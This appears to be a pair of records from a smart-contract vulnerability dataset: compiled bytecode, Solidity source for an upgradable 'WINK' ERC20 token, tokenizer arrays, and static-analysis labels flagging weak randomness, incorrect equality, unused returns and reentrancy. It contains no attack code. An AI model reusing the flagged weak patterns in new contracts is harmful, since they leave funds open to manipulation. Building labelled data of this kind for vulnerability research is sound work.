51b815260206004820152601d60248201527f5374617274696e6720696e64657820697320616c72656164792073657400000060448201526064016107ae565b43600c55565b600a546001600160a01b03163314610f2d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b6000610f3860085490565b90506103e8610f4783836126c7565b1115610f955760405162461bcd60e51b815260206004820152601f60248201527f5265736572766520776f756c6420657863656564206d617820746f6b656e730060448201526064016107ae565b60005b82811015610fc557610fb333610fae83856126c7565b611a70565b80610fbd81612790565b915050610f98565b600c54158015610fde57506103e8610fdc60085490565b145b156109005743600c55505050565b6060600180546106b690612755565b600061100660085490565b600e5490915060ff166110815760405162461bcd60e51b815260206004820152602260248201527f53616c65206d7573742062652061637469766520746f206d696e7420746f6b6560448201527f6e7300000000000000000000000000000000000000000000000000000000000060648201526084016107ae565b600a8211156110d25760405162461bcd60e51b815260206004820152601b60248201527f4578636565646564206d617820746f6b656e207075726368617365000000000060448201526064016107ae565b6103e86110df83836126c7565b111561112d5760405162461bcd60e51b815260206004820181905260248201527f507572636861736520776f756c6420657863656564206d617820746f6b656e7360448201526064016107ae565b346111408367016345785d8a00006126f3565b111561118e5760405162461bcd60e51b815260206004820152601f60248201527f45746865722076616c75652073656e74206973206e6f7420636f72726563740060448201526064016107ae565b60005b828110156111b9576111a733610fae83856126c7565b806111b181612790565b915050611191565b50600c541580156111d357506103e86111d160085490565b145b15610abd5743600c555050565b610abd338383611a8a565b6111f53383611735565b6112675760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107ae565b61127384848484611b59565b50505050565b600a546001600160a01b031633146112d35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b600e805460ff1916911515919091179055565b6000818152600260205260409020546060906001600160a01b03166113735760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016107ae565b600061137d610d14565b9050600081511161139d57604051806020016040528060008152506113c8565b806113a784611bd7565b6040516020016113b8929190612649565b6040516020818303038152906040525b9392505050565b600d541561141f5760405162461bcd60e51b815260206004820152601d60248201527f5374617274696e6720696e64657820697320616c72656164792073657400000060448201526064016107ae565b600c5461146e5760405162461bcd60e51b815260206004820181905260248201527f5374617274696e6720696e64657820626c6f636b206d7573742062652073657460448201526064016107ae565b600c5461147f906103e890406127ab565b600d55600c5460ff90611493904390611d25565b11156114b6576103e86114a7600143612712565b6114b29190406127ab565b600d555b600d54610e2157600d546114cb906001611d31565b600d55565b600a546001600160a01b0316331461152a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b6001600160a01b0381166115a65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016107ae565b6115af81611a11565b50565b600a546001600160a01b0316331461160c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b8051610abd90600b9060208401906122e0565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061168257506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806106a157507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316146106a1565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906116fc82610bfb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117ae5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107ae565b60006117b983610bfb565b9050806001600160a01b0316846001600160a01b031614806117f45750836001600160a01b03166117e984610739565b6001600160a01b0316145b8061182457506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661183f82610bfb565b6001600160a01b0316146118bb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016107ae565b6001600160a01b0382166119365760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016107ae565b611941838383611d3d565b61194c6000826116ba565b6001600160a01b0383166000908152600360205260408120805460019290611975908490612712565b90915550506001600160a01b03821660009081526003602052604081208054600192906119a39084906126c7565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610abd828260405180602001604052806000815250611df5565b816001600160a01b0316836001600160a01b03161415611aec5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107ae565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b6484848461182c565b611b7084848484611e73565b6112735760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016107ae565b606081611c1757505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115611c415780611c2b81612790565b9150611c3a9050600a836126df565b9150611c1b565b60008167ffffffffffffffff811115611c6a57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c94576020820181803683370190505b5090505b841561182457611ca9600183612712565b9150611cb6600a866127ab565b611cc19060306126c7565b60f81b818381518110611ce457634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611d1e600a866126df565b9450611c98565b60006113c88284612712565b60006113c882846126c7565b6001600160a01b038316611d9857611d9381600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611dbb565b816001600160a01b0316836001600160a01b031614611dbb57611dbb8382611fcb565b6001600160a01b038216611dd25761090081612068565b826001600160a01b0316826001600160a01b031614610900576109008282612141565b611dff8383612185565b611e0c6000848484611e73565b6109005760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016107ae565b60006001600160a01b0384163b15611fc057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611eb7903390899088908890600401612678565b602060405180830381600087803b158015611ed157600080fd5b505af1925050508015611f01575060408051601f3d908101601f19168201909252611efe918101906125a3565b60015b611fa6573d808015611f2f576040519150601f19603f3d011682016040523d82523d6000602084013e611f34565b606091505b508051611f9e5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016107ae565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611824565b506001949350505050565b60006001611fd884610d23565b611fe29190612712565b600083815260076020526040902054909150808214612035576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061207a90600190612712565b600083815260096020526040812054600880549394509092849081106120b057634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600883815481106120df57634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061212557634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061214c83610d23565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121db5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107ae565b6000818152600260205260409020546001600160a01b0316156122405760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107ae565b61224c60008383611d3d565b6001600160a01b03821660009081526003602052604081208054600192906122759084906126c7565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546122ec90612755565b90600052602060002090601f01602090048101928261230e5760008555612354565b82601f1061232757805160ff1916838001178555612354565b82800160010185558215612354579182015b82811115612354578251825591602001919060010190612339565b50612360929150612364565b5090565b5b808211156123605760008155600101612365565b600067ffffffffffffffff80841115612394576123946127eb565b604051601f8501601f19908116603f011681019082821181831017156123bc576123bc6127eb565b816040528093508581528686860111156123d557600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461240657600080fd5b919050565b8035801515811461240657600080fd5b60006020828403121561242c578081fd5b6113c8826123ef565b60008060408385031215612447578081fd5b612450836123ef565b915061245e602084016123ef565b90509250929050565b60008060006060848603121561247b578081fd5b612484846123ef565b9250612492602085016123ef565b9150604084013590509250925092565b600080600080608085870312156124b7578081fd5b6124c0856123ef565b93506124ce602086016123ef565b925060408501359150606085013567ffffffffffffffff8111156124f0578182fd5b8501601f81018713612500578182fd5b61250f87823560208401612379565b91505092959194509250565b6000806040838503121561252d578182fd5b612536836123ef565b915061245e6020840161240b565b60008060408385031215612556578182fd5b61255f836123ef565b946020939093013593505050565b60006020828403121561257e578081fd5b6113c88261240b565b600060208284031215612598578081fd5b81356113c881612801565b6000602082840312156125b4578081fd5b81516113c881612801565b6000602082840312156125d0578081fd5b813567ffffffffffffffff8111156125e6578182fd5b8201601f810184136125f6578182fd5b61182484823560208401612379565b600060208284031215612616578081fd5b5035919050565b60008151808452612635816020860160208601612729565b601f01601f19169290920160200192915050565b6000835161265b818460208801612729565b83519083019061266f818360208801612729565b01949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526126aa608083018461261d565b9695505050505050565b6020815260006113c8602083018461261d565b600082198211156126da576126da6127bf565b500190565b6000826126ee576126ee6127d5565b500490565b600081600019048311821515161561270d5761270d6127bf565b500290565b600082821015612724576127246127bf565b500390565b60005b8381101561274457818101518382015260200161272c565b838111156112735750506000910152565b600181811c9082168061276957607f821691505b6020821081141561278a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156127a4576127a46127bf565b5060010190565b6000826127ba576127ba6127d5565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146115af57600080fdfea264697066735822122069a8b7884c9e65ee120272bbb784b97d610556d73023875195674d37679a4ec464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2050, 2575, 2497, 2094, 22203, 2063, 2692, 2629, 2278, 2581, 2620, 2546, 2620, 2278, 12740, 23833, 3401, 2546, 2620, 2063, 2575, 2475, 2094, 2620, 2581, 2546, 28756, 21472, 2278, 20958, 1013, 1013, 8311, 1013, 1050, 6199, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 2030, 15895, 1011, 1016, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,608
0x956B5cE9572861d36E0993861f6EC2139F6A0F2e
pragma solidity ^0.4.18; import "./StandardTokenWithFees.sol"; import "./Pausable.sol"; import "./BlackList.sol"; contract UpgradedStandardToken is StandardToken { // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address uint public _totalSupply; function transferByLegacy(address from, address to, uint value) public returns (bool); function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool); function approveByLegacy(address from, address spender, uint value) public returns (bool); function increaseApprovalByLegacy(address from, address spender, uint addedValue) public returns (bool); function decreaseApprovalByLegacy(address from, address spender, uint subtractedValue) public returns (bool); } /** * ERC20 Wink Token (WIN) */ contract ERC20Wink is Pausable, StandardTokenWithFees, BlackList { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address function ERC20Wink() public { _totalSupply = 0; name = "WINK"; symbol = "WIN"; decimals = 6; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Allow checks of balance at time of deprecation function oldBalanceOf(address who) public constant returns (uint) { if (deprecated) { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).increaseApprovalByLegacy(msg.sender, _spender, _addedValue); } else { return super.increaseApproval(_spender, _addedValue); } } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).decreaseApprovalByLegacy(msg.sender, _spender, _subtractedValue); } else { return super.decreaseApproval(_spender, _subtractedValue); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { require(_upgradedAddress != address(0)); deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); Transfer(address(0), owner, amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); Transfer(owner, address(0), amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply = _totalSupply.sub(dirtyFunds); DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address indexed _blackListedUser, uint _balance); // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); }
0x6080604052600436106101a05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a55780630753c30c1461022f578063095ea7b3146102525780630e136b191461028a5780630ecb93c01461029f57806318160ddd146102c057806323b872dd146102e757806326976e3f14610311578063313ce56714610342578063353907141461036d5780633eaaf86b146103825780633f4ba83a1461039757806359bf1abe146103ac5780635c975abb146103cd57806366188463146103e257806370a082311461040657806375dc7d8c146104275780638456cb591461043f5780638da5cb5b1461045457806395d89b4114610469578063a9059cbb1461047e578063b7a3446c146104a2578063c0324c77146104c3578063cc872b66146104de578063d73dd623146104f6578063db006a751461051a578063dd62ed3e14610532578063dd644f7214610559578063e47d60601461056e578063e4997dc51461058f578063e5b5019a146105b0578063f2fde38b146105c5578063f3bdc228146105e6575b600080fd5b3480156101b157600080fd5b506101ba610607565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f45781810151838201526020016101dc565b50505050905090810190601f1680156102215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023b57600080fd5b50610250600160a060020a0360043516610695565b005b34801561025e57600080fd5b50610276600160a060020a0360043516602435610742565b604080519115158252519081900360200190f35b34801561029657600080fd5b50610276610829565b3480156102ab57600080fd5b50610250600160a060020a0360043516610839565b3480156102cc57600080fd5b506102d561089c565b60408051918252519081900360200190f35b3480156102f357600080fd5b50610276600160a060020a0360043581169060243516604435610958565b34801561031d57600080fd5b50610326610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561034e57600080fd5b50610357610a7e565b6040805160ff9092168252519081900360200190f35b34801561037957600080fd5b506102d5610a87565b34801561038e57600080fd5b506102d5610a8d565b3480156103a357600080fd5b50610250610a93565b3480156103b857600080fd5b50610276600160a060020a0360043516610b0b565b3480156103d957600080fd5b50610276610b2d565b3480156103ee57600080fd5b50610276600160a060020a0360043516602435610b3d565b34801561041257600080fd5b506102d5600160a060020a0360043516610be8565b34801561043357600080fd5b506102d5600435610ca8565b34801561044b57600080fd5b50610250610ce8565b34801561046057600080fd5b50610326610d65565b34801561047557600080fd5b506101ba610d74565b34801561048a57600080fd5b50610276600160a060020a0360043516602435610dcf565b3480156104ae57600080fd5b506102d5600160a060020a0360043516610e97565b3480156104cf57600080fd5b50610250600435602435610eb5565b3480156104ea57600080fd5b50610250600435610f4d565b34801561050257600080fd5b50610276600160a060020a036004351660243561102a565b34801561052657600080fd5b506102506004356110d5565b34801561053e57600080fd5b506102d5600160a060020a03600435811690602435166111b4565b34801561056557600080fd5b506102d5611243565b34801561057a57600080fd5b50610276600160a060020a0360043516611249565b34801561059b57600080fd5b50610250600160a060020a036004351661125e565b3480156105bc57600080fd5b506102d56112be565b3480156105d157600080fd5b50610250600160a060020a03600435166112c4565b3480156105f257600080fd5b50610250600160a060020a0360043516611359565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561068d5780601f106106625761010080835404028352916020019161068d565b820191906000526020600020905b81548152906001019060200180831161067057829003601f168201915b505050505081565b600254600160a060020a031633146106ac57600080fd5b600160a060020a03811615156106c157600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a150565b60025460009060a060020a900460ff161561075c57600080fd5b600a5460a060020a900460ff161561081657600a54604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163aee92d339160648083019260209291908290030181600087803b1580156107e357600080fd5b505af11580156107f7573d6000803e3d6000fd5b505050506040513d602081101561080d57600080fd5b50519050610823565b6108208383611418565b90505b92915050565b600a5460a060020a900460ff1681565b600254600160a060020a0316331461085057600080fd5b600160a060020a038116600081815260096020526040808220805460ff19166001179055517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9190a250565b600a5460009060a060020a900460ff161561095057600a60009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b505050506040513d602081101561094757600080fd5b50519050610955565b506008545b90565b60025460009060a060020a900460ff161561097257600080fd5b600160a060020a03841660009081526009602052604090205460ff161561099857600080fd5b600a5460a060020a900460ff1615610a5a57600a54604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03878116602483015286811660448301526064820186905291519190921691638b477adb9160848083019260209291908290030181600087803b158015610a2757600080fd5b505af1158015610a3b573d6000803e3d6000fd5b505050506040513d6020811015610a5157600080fd5b50519050610a68565b610a6584848461147e565b90505b9392505050565b600a54600160a060020a031681565b60075460ff1681565b60045481565b60085481565b600254600160a060020a03163314610aaa57600080fd5b60025460a060020a900460ff161515610ac257600080fd5b6002805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600160a060020a03811660009081526009602052604090205460ff165b919050565b60025460a060020a900460ff1681565b60025460009060a060020a900460ff1615610b5757600080fd5b600a5460a060020a900460ff1615610bde57600a54604080517f6001279f000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636001279f9160648083019260209291908290030181600087803b1580156107e357600080fd5b61082083836116c1565b600a5460009060a060020a900460ff1615610c9857600a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610c6557600080fd5b505af1158015610c79573d6000803e3d6000fd5b505050506040513d6020811015610c8f57600080fd5b50519050610b28565b610ca1826117b3565b9050610b28565b600080610cd2612710610cc6600354866117ce90919063ffffffff16565b9063ffffffff6117f916565b9050600454811115610823575060045492915050565b600254600160a060020a03163314610cff57600080fd5b60025460a060020a900460ff1615610d1657600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600254600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561068d5780601f106106625761010080835404028352916020019161068d565b60025460009060a060020a900460ff1615610de957600080fd5b3360009081526009602052604090205460ff1615610e0657600080fd5b600a5460a060020a900460ff1615610e8d57600a54604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636e18980a9160648083019260209291908290030181600087803b1580156107e357600080fd5b6108208383611810565b600a5460009060a060020a900460ff1615610b2857610ca1826117b3565b600254600160a060020a03163314610ecc57600080fd5b60148210610ed957600080fd5b60328110610ee657600080fd5b6003829055600754610f0590829060ff16600a0a63ffffffff6117ce16565b600481905560035460408051918252602082019290925281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15050565b600254600160a060020a03163314610f6457600080fd5b600254600160a060020a0316600090815260208190526040902054610f8f908263ffffffff61186916565b600254600160a060020a0316600090815260208190526040902055600854610fbd908263ffffffff61186916565b6008556040805182815290517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9181900360200190a1600254604080518381529051600160a060020a0390921691600091600080516020611a1e833981519152919081900360200190a350565b60025460009060a060020a900460ff161561104457600080fd5b600a5460a060020a900460ff16156110cb57600a54604080517fa9538157000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163a95381579160648083019260209291908290030181600087803b1580156107e357600080fd5b6108208383611878565b600254600160a060020a031633146110ec57600080fd5b6008546110ff908263ffffffff61191116565b600855600254600160a060020a031660009081526020819052604090205461112d908263ffffffff61191116565b600254600160a060020a03166000908152602081815260409182902092909255805183815290517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44929181900390910190a1600254604080518381529051600092600160a060020a031691600080516020611a1e833981519152919081900360200190a350565b600a5460009060a060020a900460ff161561123957600a54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b1580156107e357600080fd5b6108208383611923565b60035481565b60096020526000908152604090205460ff1681565b600254600160a060020a0316331461127557600080fd5b600160a060020a038116600081815260096020526040808220805460ff19169055517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9190a250565b60001981565b600254600160a060020a031633146112db57600080fd5b600160a060020a03811615156112f057600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600090600160a060020a0316331461137357600080fd5b600160a060020a03821660009081526009602052604090205460ff16151561139a57600080fd5b6113a382610be8565b600160a060020a0383166000908152602081905260408120556008549091506113d2908263ffffffff61191116565b600855604080518281529051600160a060020a038416917f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6919081900360200190a25050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008080600160a060020a038516151561149757600080fd5b600160a060020a0386166000908152602081905260409020548411156114bc57600080fd5b600160a060020a03861660009081526001602090815260408083203384529091529020548411156114ec57600080fd5b6114f584610ca8565b9150611507848363ffffffff61191116565b600160a060020a038716600090815260208190526040902054909150611533908563ffffffff61191116565b600160a060020a038088166000908152602081905260408082209390935590871681522054611568908263ffffffff61186916565b600160a060020a0380871660009081526020818152604080832094909455918916815260018252828120338252909152205460001911156115fc57600160a060020a03861660009081526001602090815260408083203384529091529020546115d7908563ffffffff61191116565b600160a060020a03871660009081526001602090815260408083203384529091529020555b84600160a060020a031686600160a060020a0316600080516020611a1e833981519152836040518082815260200191505060405180910390a360008211156116b557600254600160a060020a0316600090815260208190526040902054611669908363ffffffff61186916565b60028054600160a060020a03908116600090815260208181526040918290209490945591548251868152925190821693918a1692600080516020611a1e83398151915292908290030190a35b50600195945050505050565b336000908152600160209081526040808320600160a060020a03861684529091528120548083111561171657336000908152600160209081526040808320600160a060020a038816845290915281205561174b565b611726818463ffffffff61191116565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b6000808315156117e157600091506117ac565b508282028284828115156117f157fe5b0414610a6857fe5b600080828481151561180757fe5b04949350505050565b600080600061181e84610ca8565b9150611830848363ffffffff61191116565b905061183c858261194e565b50600082111561185e5760025461185c90600160a060020a03168361194e565b505b506001949350505050565b600082820183811015610a6857fe5b336000908152600160209081526040808320600160a060020a03861684529091528120546118ac908363ffffffff61186916565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60008282111561191d57fe5b50900390565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000600160a060020a038316151561196557600080fd5b3360009081526020819052604090205482111561198157600080fd5b336000908152602081905260409020546119a1908363ffffffff61191116565b3360009081526020819052604080822092909255600160a060020a038516815220546119d3908363ffffffff61186916565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020611a1e8339815191529281900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820694b8081ced30217103170e791e7ee0d770ced4b783f58da4f2884eb57fed4dd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
